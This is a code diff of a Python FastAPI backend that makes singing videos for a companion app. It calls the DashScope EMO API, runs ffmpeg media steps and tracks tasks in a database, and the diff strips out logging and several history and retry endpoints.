logger.info(f"文件下载成功: {url} -> {target_path}")
|
||||
finally:
|
||||
resp.close()
|
||||
|
||||
|
|
@ -372,7 +302,7 @@ def _ensure_emo_detect_cache(
|
|||
|
||||
def _probe_media_duration(path: str) -> Optional[float]:
|
||||
command = [
|
||||
_ffprobe_bin(),
|
||||
"ffprobe",
|
||||
"-v",
|
||||
"error",
|
||||
"-show_entries",
|
||||
|
|
@ -402,7 +332,7 @@ def _probe_media_duration(path: str) -> Optional[float]:
|
|||
def _run_ffmpeg_merge(video_path: str, audio_path: str, output_path: str):
|
||||
audio_duration = _probe_media_duration(audio_path)
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -452,7 +382,7 @@ def _strip_video_audio(video_bytes: bytes) -> bytes:
|
|||
with open(input_path, "wb") as file_handle:
|
||||
file_handle.write(video_bytes)
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -474,7 +404,7 @@ def _strip_video_audio(video_bytes: bytes) -> bytes:
|
|||
raise HTTPException(status_code=500, detail="ffmpeg 未安装或不可用") from exc
|
||||
except subprocess.CalledProcessError:
|
||||
fallback = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -526,7 +456,7 @@ def _extract_audio_segment(
|
|||
output_path: str,
|
||||
):
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -566,7 +496,7 @@ def _pad_audio_segment(
|
|||
if pad_sec <= 0:
|
||||
return
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -598,7 +528,7 @@ def _pad_audio_segment(
|
|||
|
||||
def _trim_video_duration(input_path: str, target_duration_sec: float, output_path: str):
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -622,7 +552,7 @@ def _trim_video_duration(input_path: str, target_duration_sec: float, output_pat
|
|||
pass
|
||||
|
||||
fallback = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -675,7 +605,7 @@ def _concat_video_files(video_paths: list[str], output_path: str):
|
|||
for path in video_paths:
|
||||
list_file.write(f"file '{path}'\n")
|
||||
command = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -696,7 +626,7 @@ def _concat_video_files(video_paths: list[str], output_path: str):
|
|||
subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
except subprocess.CalledProcessError:
|
||||
fallback = [
|
||||
_ffmpeg_bin(),
|
||||
"ffmpeg",
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -814,7 +744,6 @@ def _submit_emo_video(
|
|||
ext_bbox: list,
|
||||
style_level: str,
|
||||
) -> str:
|
||||
|
||||
if not settings.DASHSCOPE_API_KEY:
|
||||
raise HTTPException(status_code=500, detail="未配置 DASHSCOPE_API_KEY")
|
||||
input_obj = {
|
||||
|
|
@ -833,10 +762,6 @@ def _submit_emo_video(
|
|||
"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}",
|
||||
"Content-Type": "application/json",
|
||||
}
|
||||
|
||||
logger.info(f"提交 EMO 视频生成任务,model={EMO_MODEL}, style_level={style_level}")
|
||||
logger.debug(f"请求参数: {input_payload}")
|
||||
|
||||
try:
|
||||
resp = requests.post(
|
||||
"https://dashscope.aliyuncs.com/api/v1/services/aigc/image2video/video-synthesis",
|
||||
|
|
@ -845,24 +770,17 @@ def _submit_emo_video(
|
|||
timeout=15,
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.error(f"调用 EMO API 失败: {exc}")
|
||||
raise HTTPException(status_code=502, detail="调用EMO视频生成失败") from exc
|
||||
|
||||
logger.info(f"EMO API 返回状态码: {resp.status_code}")
|
||||
|
||||
if resp.status_code != 200:
|
||||
msg = resp.text
|
||||
try:
|
||||
msg = resp.json().get("message") or msg
|
||||
except Exception:
|
||||
pass
|
||||
logger.error(f"EMO 任务提交失败: {msg}")
|
||||
raise HTTPException(status_code=502, detail=f"EMO视频任务提交失败: {msg}")
|
||||
try:
|
||||
data = resp.json()
|
||||
logger.info(f"EMO API 返回数据: {data}")
|
||||
except Exception as exc:
|
||||
logger.error(f"解析 EMO API 响应失败: {exc}")
|
||||
raise HTTPException(status_code=502, detail="EMO视频任务返回解析失败") from exc
|
||||
task_id = (
|
||||
data.get("output", {}).get("task_id")
|
||||
|
|
@ -870,77 +788,26 @@ def _submit_emo_video(
|
|||
or data.get("output", {}).get("id")
|
||||
)
|
||||
if not task_id:
|
||||
logger.error(f"EMO API 未返回 task_id,完整响应: {data}")
|
||||
raise HTTPException(status_code=502, detail="EMO视频任务未返回 task_id")
|
||||
|
||||
logger.info(f"EMO 任务提交成功,task_id={task_id}")
|
||||
return str(task_id)
|
||||
|
||||
|
||||
def _update_task_status_in_db(dashscope_task_id: str, status: str, result_url: Optional[str] = None):
|
||||
"""实时更新数据库中的任务状态"""
|
||||
from lover.db import SessionLocal
|
||||
from lover.models import GenerationTask
|
||||
|
||||
try:
|
||||
with SessionLocal() as db:
|
||||
# 查找对应的 GenerationTask
|
||||
task = db.query(GenerationTask).filter(
|
||||
GenerationTask.payload.like(f'%"dashscope_task_id": "{dashscope_task_id}"%')
|
||||
).first()
|
||||
|
||||
if task:
|
||||
# 映射状态
|
||||
status_mapping = {
|
||||
"PENDING": "pending",
|
||||
"RUNNING": "running",
|
||||
"SUCCEEDED": "succeeded",
|
||||
"FAILED": "failed"
|
||||
}
|
||||
|
||||
task_status = status_mapping.get(status, "pending")
|
||||
task.status = task_status
|
||||
|
||||
if result_url:
|
||||
task.result_url = result_url
|
||||
|
||||
# 更新 payload 中的状态
|
||||
payload = task.payload or {}
|
||||
payload["dashscope_status"] = status
|
||||
payload["last_updated"] = time.time()
|
||||
task.payload = payload
|
||||
|
||||
db.commit()
|
||||
logger.info(f"📊 任务 {task.id} 状态已更新为: {task_status}")
|
||||
except Exception as e:
|
||||
logger.error(f"❌ 更新任务状态失败: {e}")
|
||||
|
||||
|
||||
def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
||||
logger.info(f"⏳ 开始轮询 DashScope 任务: {task_id}")
|
||||
|
||||
headers = {"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}"}
|
||||
query_url = f"https://dashscope.aliyuncs.com/api/v1/tasks/{task_id}"
|
||||
# 视频任务排队时间可能较长,放宽到指定超时
|
||||
deadline = time.time() + max(60, timeout_seconds)
|
||||
attempts = 0
|
||||
while time.time() < deadline:
|
||||
time.sleep(3)
|
||||
attempts += 1
|
||||
try:
|
||||
resp = requests.get(query_url, headers=headers, timeout=8)
|
||||
except Exception as e:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次请求失败: {e}")
|
||||
except Exception:
|
||||
continue
|
||||
if resp.status_code != 200:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次返回状态码: {resp.status_code}")
|
||||
continue
|
||||
try:
|
||||
data = resp.json()
|
||||
except Exception as e:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次 JSON 解析失败: {e}")
|
||||
except Exception:
|
||||
continue
|
||||
output = data.get("output") or {}
|
||||
status_str = str(
|
||||
|
|
@ -949,13 +816,6 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
|||
or data.get("status")
|
||||
or ""
|
||||
).upper()
|
||||
|
||||
# 每 5 次(15秒)记录一次进度并更新数据库
|
||||
if attempts % 5 == 0:
|
||||
logger.info(f"🔄 轮询任务 {task_id} 第 {attempts} 次,状态: {status_str}")
|
||||
# 实时更新数据库状态
|
||||
_update_task_status_in_db(task_id, status_str, None)
|
||||
|
||||
if status_str == "SUCCEEDED":
|
||||
results = output.get("results") or {}
|
||||
url = (
|
||||
|
|
@ -965,23 +825,14 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
|||
or data.get("output", {}).get("video_url")
|
||||
)
|
||||
if not url:
|
||||
logger.error(f"❌ 任务 {task_id} 成功但未返回 URL")
|
||||
raise HTTPException(status_code=502, detail="视频生成成功但未返回结果 URL")
|
||||
logger.info(f"✅ 任务 {task_id} 生成成功!")
|
||||
# 立即更新数据库状态为成功
|
||||
_update_task_status_in_db(task_id, "SUCCEEDED", url)
|
||||
return url
|
||||
if status_str == "FAILED":
|
||||
code = output.get("code") or data.get("code")
|
||||
msg = output.get("message") or data.get("message") or "生成失败"
|
||||
if code:
|
||||
msg = f"{code}: {msg}"
|
||||
logger.error(f"❌ 任务 {task_id} 生成失败: {msg}")
|
||||
# 立即更新数据库状态为失败
|
||||
_update_task_status_in_db(task_id, "FAILED", None)
|
||||
raise HTTPException(status_code=502, detail=f"视频生成失败: {msg}")
|
||||
|
||||
logger.error(f"⏱️ 任务 {task_id} 轮询超时,共尝试 {attempts} 次")
|
||||
raise HTTPException(status_code=504, detail="视频生成超时,请稍后重试")
|
||||
|
||||
|
||||
|
|
@ -1029,11 +880,7 @@ def _query_dashscope_task_status(task_id: str) -> tuple[str, Optional[str], Opti
|
|||
return "UNKNOWN", None, None
|
||||
|
||||
|
||||
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> None:
|
||||
"""
|
||||
尝试从 DashScope 获取任务状态并更新数据库。
|
||||
不返回任何对象,避免 SQLAlchemy DetachedInstanceError。
|
||||
"""
|
||||
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> Optional[SongSegmentVideo]:
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
|
|
@ -1041,10 +888,10 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
.first()
|
||||
)
|
||||
if not segment_video or segment_video.status != "running":
|
||||
return
|
||||
return None
|
||||
task_id = dashscope_task_id or segment_video.dashscope_task_id
|
||||
if not task_id:
|
||||
return
|
||||
return None
|
||||
segment = (
|
||||
db.query(SongSegment)
|
||||
.filter(SongSegment.id == segment_video.segment_id)
|
||||
|
|
@ -1088,7 +935,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return
|
||||
return None
|
||||
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
|
|
@ -1104,7 +951,8 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return
|
||||
return segment_video
|
||||
return None
|
||||
|
||||
if status == "FAILED":
|
||||
with SessionLocal() as db:
|
||||
|
|
@ -1120,7 +968,10 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return
|
||||
return segment_video
|
||||
return None
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _wait_for_base_video(base_id: int, timeout: int) -> Optional[SingBaseVideo]:
|
||||
|
|
@ -1163,48 +1014,15 @@ def _wait_for_segment_video(segment_video_id: int, timeout: int) -> Optional[Son
|
|||
.filter(SongSegmentVideo.id == segment_video_id)
|
||||
.first()
|
||||
)
|
||||
if segment_video:
|
||||
status = segment_video.status
|
||||
if status in ("succeeded", "failed"):
|
||||
# 在会话关闭前获取所有需要的属性
|
||||
video_url = segment_video.video_url
|
||||
error_msg = segment_video.error_msg
|
||||
# 创建一个新对象返回,避免 DetachedInstanceError
|
||||
result = SongSegmentVideo(
|
||||
id=segment_video.id,
|
||||
status=status,
|
||||
video_url=video_url,
|
||||
error_msg=error_msg,
|
||||
)
|
||||
return result
|
||||
dash_task_id = segment_video.dashscope_task_id
|
||||
else:
|
||||
dash_task_id = None
|
||||
|
||||
if segment_video and segment_video.status in ("succeeded", "failed"):
|
||||
return segment_video
|
||||
dash_task_id = segment_video.dashscope_task_id if segment_video else None
|
||||
now = time.time()
|
||||
if dash_task_id and now - last_backfill_at >= EMO_BACKFILL_MIN_INTERVAL_SECONDS:
|
||||
# 调用 backfill 后重新查询,不使用返回的对象
|
||||
_try_backfill_segment_video(segment_video_id, dash_task_id)
|
||||
updated = _try_backfill_segment_video(segment_video_id, dash_task_id)
|
||||
last_backfill_at = now
|
||||
# 重新查询状态
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
.filter(SongSegmentVideo.id == segment_video_id)
|
||||
.first()
|
||||
)
|
||||
if segment_video:
|
||||
status = segment_video.status
|
||||
if status in ("succeeded", "failed"):
|
||||
video_url = segment_video.video_url
|
||||
error_msg = segment_video.error_msg
|
||||
result = SongSegmentVideo(
|
||||
id=segment_video.id,
|
||||
status=status,
|
||||
video_url=video_url,
|
||||
error_msg=error_msg,
|
||||
)
|
||||
return result
|
||||
if updated and updated.status in ("succeeded", "failed"):
|
||||
return updated
|
||||
time.sleep(3)
|
||||
return None
|
||||
|
||||
|
|
@ -1476,9 +1294,9 @@ def _should_enqueue_task(task_id: int) -> bool:
|
|||
|
||||
|
||||
def _enqueue_sing_task(task_id: int):
|
||||
# 移除入队日志,只在失败时记录
|
||||
result = sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
|
||||
return result
|
||||
if not _should_enqueue_task(task_id):
|
||||
return False
|
||||
return sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
|
||||
|
||||
|
||||
def _next_seq(db: Session, session_id: int) -> int:
|
||||
|
|
@ -1617,11 +1435,6 @@ class SingGenerateIn(BaseModel):
|
|||
song_id: int = Field(..., description="歌曲ID(nf_song_library.id)")
|
||||
|
||||
|
||||
class SingGenerateFromLibraryIn(BaseModel):
|
||||
"""从音乐库生成唱歌视频请求"""
|
||||
music_id: int = Field(..., description="音乐库ID(nf_music_library.id)")
|
||||
|
||||
|
||||
class SingTaskStatusOut(BaseModel):
|
||||
generation_task_id: int
|
||||
status: str = Field(..., description="pending|running|succeeded|failed")
|
||||
|
|
@ -1633,41 +1446,6 @@ class SingTaskStatusOut(BaseModel):
|
|||
error_msg: Optional[str] = None
|
||||
|
||||
|
||||
@router.get("/current", response_model=ApiResponse[Optional[SingTaskStatusOut]])
|
||||
def get_current_sing_task(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.status.in_(["pending", "running"]),
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return success_response(None, msg="暂无进行中的任务")
|
||||
|
||||
payload = task.payload or {}
|
||||
return success_response(
|
||||
SingTaskStatusOut(
|
||||
generation_task_id=task.id,
|
||||
status=task.status,
|
||||
dashscope_task_id=str(payload.get("dashscope_task_id") or ""),
|
||||
video_url=task.result_url or payload.get("merged_video_url") or "",
|
||||
session_id=int(payload.get("session_id") or 0),
|
||||
user_message_id=int(payload.get("user_message_id") or 0),
|
||||
lover_message_id=int(payload.get("lover_message_id") or 0),
|
||||
error_msg=task.error_msg,
|
||||
),
|
||||
msg="获取成功",
|
||||
)
|
||||
|
||||
|
||||
@router.get("/songs", response_model=ApiResponse[SongListResponse])
|
||||
def list_songs_for_lover(
|
||||
db: Session = Depends(get_db),
|
||||
|
|
@ -1698,196 +1476,6 @@ def list_songs_for_lover(
|
|||
return success_response(SongListResponse(songs=songs), msg="歌曲列表获取成功")
|
||||
|
||||
|
||||
@router.get("/history", response_model=ApiResponse[List[dict]])
|
||||
def get_sing_history(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""
|
||||
获取用户的唱歌视频历史记录
|
||||
"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
# 查询已成功生成的视频(优先使用 nf_sing_song_video)
|
||||
offset = (page - 1) * size
|
||||
videos = (
|
||||
db.query(SingSongVideo)
|
||||
.filter(
|
||||
SingSongVideo.user_id == user.id,
|
||||
SingSongVideo.lover_id == lover.id,
|
||||
SingSongVideo.status == "succeeded",
|
||||
SingSongVideo.merged_video_url.isnot(None),
|
||||
)
|
||||
.order_by(SingSongVideo.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
seen_urls: set[str] = set()
|
||||
for video in videos:
|
||||
# 获取歌曲信息
|
||||
song = db.query(SongLibrary).filter(SongLibrary.id == video.song_id).first()
|
||||
song_title = song.title if song else "未知歌曲"
|
||||
url = _cdnize(video.merged_video_url)
|
||||
if url:
|
||||
seen_urls.add(url)
|
||||
result.append(
|
||||
{
|
||||
"id": video.id,
|
||||
"song_id": video.song_id,
|
||||
"song_title": song_title,
|
||||
"video_url": url,
|
||||
"created_at": video.created_at.isoformat() if video.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
# 兜底:部分情况下任务成功但 nf_sing_song_video 未落库,补查 nf_generation_tasks
|
||||
if len(result) < size:
|
||||
remaining = size - len(result)
|
||||
fallback_tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.status == "succeeded",
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
GenerationTask.payload["merged_video_url"].as_string().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size * 2)
|
||||
.all()
|
||||
)
|
||||
|
||||
for task in fallback_tasks:
|
||||
payload = task.payload or {}
|
||||
song_id = payload.get("song_id")
|
||||
merged_video_url = payload.get("merged_video_url") or task.result_url
|
||||
url = _cdnize(merged_video_url) if merged_video_url else ""
|
||||
if not url or url in seen_urls:
|
||||
continue
|
||||
|
||||
song_title = payload.get("song_title") or "未知歌曲"
|
||||
if song_id:
|
||||
song = db.query(SongLibrary).filter(SongLibrary.id == song_id).first()
|
||||
if song and song.title:
|
||||
song_title = song.title
|
||||
|
||||
result.append(
|
||||
{
|
||||
"id": int(task.id),
|
||||
"song_id": int(song_id) if song_id else 0,
|
||||
"song_title": song_title,
|
||||
"video_url": url,
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
seen_urls.add(url)
|
||||
remaining -= 1
|
||||
if remaining <= 0:
|
||||
break
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
@router.post("/retry/{task_id}", response_model=ApiResponse[dict])
|
||||
def retry_sing_task(
|
||||
task_id: int,
|
||||
background_tasks: BackgroundTasks,
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
"""手动重试:用于 DashScope 端已成功但本地下载/上传失败导致任务失败的情况。"""
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.id == task_id,
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
)
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
raise HTTPException(status_code=404, detail="任务不存在")
|
||||
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
# 唱歌任务通常不会在 GenerationTask.payload 中保存 dashscope_task_id(分段任务各自保存)。
|
||||
# 此时改为重新入队处理,尽量复用已成功的分段,完成补下载/补写记录。
|
||||
task.status = "pending"
|
||||
task.error_msg = None
|
||||
task.payload = {**payload, "manual_retry": True}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
_enqueue_sing_task(int(task.id))
|
||||
return success_response({"task_id": int(task.id)}, msg="已触发重新下载")
|
||||
|
||||
# 标记手动重试(避免前端重复点击导致并发过多)
|
||||
task.payload = {**payload, "manual_retry": True}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
|
||||
background_tasks.add_task(_retry_finalize_sing_task, int(task.id))
|
||||
return success_response({"task_id": int(task.id)}, msg="已触发重新下载")
|
||||
|
||||
|
||||
@router.get("/history/all", response_model=ApiResponse[List[dict]])
|
||||
def get_sing_history_all(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
offset = (page - 1) * size
|
||||
tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
for task in tasks:
|
||||
payload = task.payload or {}
|
||||
song_id = payload.get("song_id")
|
||||
merged_video_url = payload.get("merged_video_url") or task.result_url
|
||||
result.append(
|
||||
{
|
||||
"id": int(task.id),
|
||||
"song_id": int(song_id) if song_id else 0,
|
||||
"song_title": payload.get("song_title") or "未知歌曲",
|
||||
"status": task.status,
|
||||
"video_url": _cdnize(merged_video_url) or "",
|
||||
"error_msg": task.error_msg,
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
def _get_or_create_session(db: Session, user: AuthedUser, lover: Lover, session_id: Optional[int]) -> ChatSession:
|
||||
if session_id:
|
||||
session = (
|
||||
|
|
@ -1934,8 +1522,6 @@ def _process_sing_task(task_id: int):
|
|||
"""
|
||||
后台处理唱歌视频生成任务:分段音频 -> EMO 逐段生成 -> 拼接整曲。
|
||||
"""
|
||||
logger.info(f"开始处理唱歌任务 {task_id}")
|
||||
|
||||
song_title: str = ""
|
||||
image_url: str = ""
|
||||
audio_url: str = ""
|
||||
|
|
@ -1955,7 +1541,6 @@ def _process_sing_task(task_id: int):
|
|||
audio_hash_hint: Optional[str] = None
|
||||
duration_sec_hint: Optional[int] = None
|
||||
try:
|
||||
logger.info(f"任务 {task_id}: 开始数据库查询")
|
||||
db = SessionLocal()
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
|
|
@ -1963,13 +1548,10 @@ def _process_sing_task(task_id: int):
|
|||
.with_for_update()
|
||||
.first()
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 查询到任务,状态={task.status if task else 'None'}")
|
||||
if not task or task.status in ("succeeded", "failed"):
|
||||
logger.warning(f"任务 {task_id}: 任务不存在或已完成/失败,退出处理")
|
||||
db.rollback()
|
||||
return
|
||||
|
||||
logger.info(f"任务 {task_id}: 开始提取 payload 数据")
|
||||
user_id = task.user_id
|
||||
lover_id = task.lover_id
|
||||
payload = task.payload or {}
|
||||
|
|
@ -2079,14 +1661,12 @@ def _process_sing_task(task_id: int):
|
|||
pass
|
||||
|
||||
try:
|
||||
logger.info(f"任务 {task_id}: 开始音频分段处理")
|
||||
segments, audio_hash, duration_sec = _ensure_song_segments(
|
||||
song_id,
|
||||
audio_url,
|
||||
audio_hash_hint,
|
||||
duration_sec_hint,
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 音频分段完成,共 {len(segments)} 段,时长 {duration_sec}秒")
|
||||
with SessionLocal() as db:
|
||||
task_row = (
|
||||
db.query(GenerationTask)
|
||||
|
|
@ -2126,7 +1706,6 @@ def _process_sing_task(task_id: int):
|
|||
content_safety_blocked = _is_content_safety_error(cached_merge.error_msg)
|
||||
|
||||
if not merged_video_url:
|
||||
logger.info(f"任务 {task_id}: 开始生成分段视频,共 {len(segments)} 段")
|
||||
segment_video_urls: list[tuple[int, str]] = []
|
||||
content_safety_triggered = False
|
||||
for segment in segments:
|
||||
|
|
@ -2136,7 +1715,6 @@ def _process_sing_task(task_id: int):
|
|||
segment_duration_ms = int(segment.get("duration_ms") or 0)
|
||||
emo_duration_ms = int(segment.get("emo_duration_ms") or segment_duration_ms)
|
||||
|
||||
logger.info(f"任务 {task_id}: 处理第 {segment_index + 1}/{len(segments)} 段视频")
|
||||
existing_running = False
|
||||
segment_video_id = None
|
||||
segment_video_url = ""
|
||||
|
|
@ -2225,7 +1803,6 @@ def _process_sing_task(task_id: int):
|
|||
ext_bbox=ext_bbox or [],
|
||||
style_level=style_level,
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段已提交到 DashScope,task_id={dash_task_id}")
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
|
|
@ -2242,7 +1819,6 @@ def _process_sing_task(task_id: int):
|
|||
db.commit()
|
||||
|
||||
dash_video_url = _poll_video_url(dash_task_id, EMO_TASK_TIMEOUT_SECONDS)
|
||||
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段视频生成完成,URL={dash_video_url[:100]}...")
|
||||
video_bytes = _download_binary(dash_video_url)
|
||||
if emo_duration_ms > segment_duration_ms and segment_duration_ms > 0:
|
||||
video_bytes = _trim_video_bytes(video_bytes, segment_duration_ms / 1000.0)
|
||||
|
|
@ -2510,17 +2086,15 @@ def _process_sing_task(task_id: int):
|
|||
db.add(task_row)
|
||||
db.commit()
|
||||
except HTTPException as exc:
|
||||
logger.error(f"任务 {task_id} 处理失败 (HTTPException): {exc.detail if hasattr(exc, 'detail') else str(exc)}")
|
||||
try:
|
||||
_mark_task_failed(task_id, str(exc.detail) if hasattr(exc, "detail") else str(exc))
|
||||
except Exception as e2:
|
||||
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as exc:
|
||||
logger.exception(f"任务 {task_id} 处理失败 (Exception): {exc}")
|
||||
try:
|
||||
_mark_task_failed(task_id, str(exc)[:255])
|
||||
except Exception as e2:
|
||||
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
@router.post("/generate", response_model=ApiResponse[SingTaskStatusOut])
|
||||
|
|
@ -2530,9 +2104,6 @@ def generate_sing_video(
|
|||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
logger.info(f"🎤 收到唱歌生成请求: user_id={user.id}, song_id={payload.song_id}")
|
||||
|
||||
# 原有代码...
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人不存在,请先完成创建流程")
|
||||
|
|
@ -2561,10 +2132,6 @@ def generate_sing_video(
|
|||
)
|
||||
if not user_row:
|
||||
raise HTTPException(status_code=404, detail="用户不存在")
|
||||
|
||||
# 检查并重置 VIP 用户的视频生成次数
|
||||
_check_and_reset_vip_video_gen(user_row, db)
|
||||
|
||||
if (user_row.video_gen_remaining or 0) <= 0:
|
||||
raise HTTPException(status_code=400, detail="视频生成次数不足")
|
||||
|
||||
|
|
@ -2840,118 +2407,6 @@ def generate_sing_video(
|
|||
)
|
||||
|
||||
|
||||
def _ensure_sing_history_record(db: Session, task: GenerationTask) -> None:
|
||||
"""确保 nf_sing_song_video 中存在该任务对应的成功记录(用于历史列表)。"""
|
||||
if not task or task.status != "succeeded":
|
||||
return
|
||||
|
||||
payload = task.payload or {}
|
||||
song_id = payload.get("song_id")
|
||||
merged_video_url = payload.get("merged_video_url") or task.result_url
|
||||
if not song_id or not merged_video_url:
|
||||
return
|
||||
|
||||
existing = (
|
||||
db.query(SingSongVideo)
|
||||
.filter(
|
||||
SingSongVideo.generation_task_id == task.id,
|
||||
SingSongVideo.user_id == task.user_id,
|
||||
)
|
||||
.first()
|
||||
)
|
||||
if existing and existing.status == "succeeded" and existing.merged_video_url:
|
||||
return
|
||||
|
||||
audio_url = payload.get("audio_url") or ""
|
||||
audio_hash = payload.get("audio_hash") or ( _hash_text(audio_url) if audio_url else "" )
|
||||
image_hash = payload.get("image_hash") or ""
|
||||
ratio = payload.get("ratio") or EMO_RATIO
|
||||
style_level = payload.get("style_level") or EMO_STYLE_LEVEL
|
||||
|
||||
if not existing:
|
||||
existing = SingSongVideo(
|
